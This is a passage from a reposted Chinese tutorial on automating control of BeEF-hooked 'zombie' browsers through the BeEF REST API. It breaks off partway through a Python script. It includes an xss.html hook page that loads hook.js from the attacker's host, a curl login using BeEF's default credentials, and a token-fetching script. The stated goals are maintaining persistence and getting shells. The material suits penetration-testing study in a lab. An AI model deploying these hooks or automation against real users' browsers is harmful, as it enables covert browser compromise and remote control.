利用BeEF REST API自动化控制僵尸主机 --转载--作者ssooking
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用BeEF REST API自动化控制僵尸主机 --转载--作者ssooking相关的知识,希望对你有一定的参考价值。
一. 前言
关于BeEF,不再多介绍,它的强大毋庸置疑,利用它我们可以做很多事 情。最近的一些实验,需要用beef进行批量自动控制,发现网上也没有过多关于这方面内容的介绍,于是学习了一下它的API,顺便练习一下python编 程,这里把自己的学习内容分享下。本文涉及的一些内容可能具有一定的攻击性,请遵守国家法律,禁止用于非法用途。
二. 通过API控制beef
BeEF从0.4.3.3,版本开始,提供了静态API接口,用户可以通过发送HTTP / JSON请求控制Beef。
我们可以通过程序,批量自动加载执行某些beef的模块,实现比如自动维持权限,Getshell等功能。
在后面的正文里,每一个调用模块的示例中,我都会尝试单独编写代码进行测试,最后,我会将各个部分组合起来,实现一个自动化控制的小demo。本文涉及到的所有代码你都可以在这里找到:https://github.com/ssooking/AutoBeef/。进入正题,我们先启动beef。本机IP:192.168.1.133
默认hook js:http://192.168.1.133:3000/hook.js
默认hook页面: http://192.168.1.133:3000/demos/basic.html
默认管理界面: http://192.168.1.133:3000/ui/panel
当我们启动beef的时候,会自动生成一个静态API key,这个key用于身份认证,我们每次通过API进行控制时,都要添加这个参数值 。需要提到的是,如果你发现后文的API key,session等参数值发生了变化,是因为这篇文章不是一次写完的,测试时因为重新开启beef产生了变化,因此不要纠结,我们应该关注API如 何调用。
下面,我们可以创建一个简单的hook页面 ,如xss.html
<html>
<head>
<script src="http://192.168.1.133:3000/hook.js"></script>
</head>
</html>
我们也可以访问默认hook页面 http://192.168.1.133:3000/demos/basic.html,为了测试,这里我使用了一台虚拟机,本机也使一个浏览器被hook。在管理面板可以看到主机已经上线。
在控制台,我们能够直接看到被hook的主机,并执行相关攻击模块。那么怎样通过API实现这些功能呢?下面,我们将通过实例进行介绍。在此之 前,可以理我们的API请求的文件,主要存放于beef框架下core目录和core/api目录下,我们可以在该目录下查找并阅读相关源代码,了解功能 的实现机制,使用API进行HTTP交互时,默认的交互数据类型为json。
获取API Key
/api/admin/login是用户登录接口,通过该接口登录之后,我们可以得到用于会话认证的API key
我们用curl命令,使用默认的口令提交登录请求,会返回我们的key。这个功能可以被用于后文编写自动化控制脚本。
curl -H "Content-Type: application/json" -X POST -d ‘{"username":"beef", "password":"beef"}‘ http://192.168.1.133:3000/api/admin/login
我们可以用下面这样一个简单的小脚本实现,代码也比较简单,不再多废话
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# ** Author: ssooking
import json
import urllib2
def getauthkey(host):
apiurl = host + "api/admin/login"
logindata = {
"username":"beef",
"password":"beef"
}
jdata = json.dumps(logindata) # 对数据进行JSON格式化编码
req = urllib2.Request(apiurl, jdata) # 生成页面请求的完整数据
response = urllib2.urlopen(req) # 发送页面请求
resdata = response.read() # 获取服务器返回的页面信息,数据类型为str
jsondata = json.loads(resdata) # 把数据解析成python对象,此时返回dict数据
return jsondata[‘token‘]
if __name__ == ‘__main__‘:
host = "http://192.168.1.133:3000/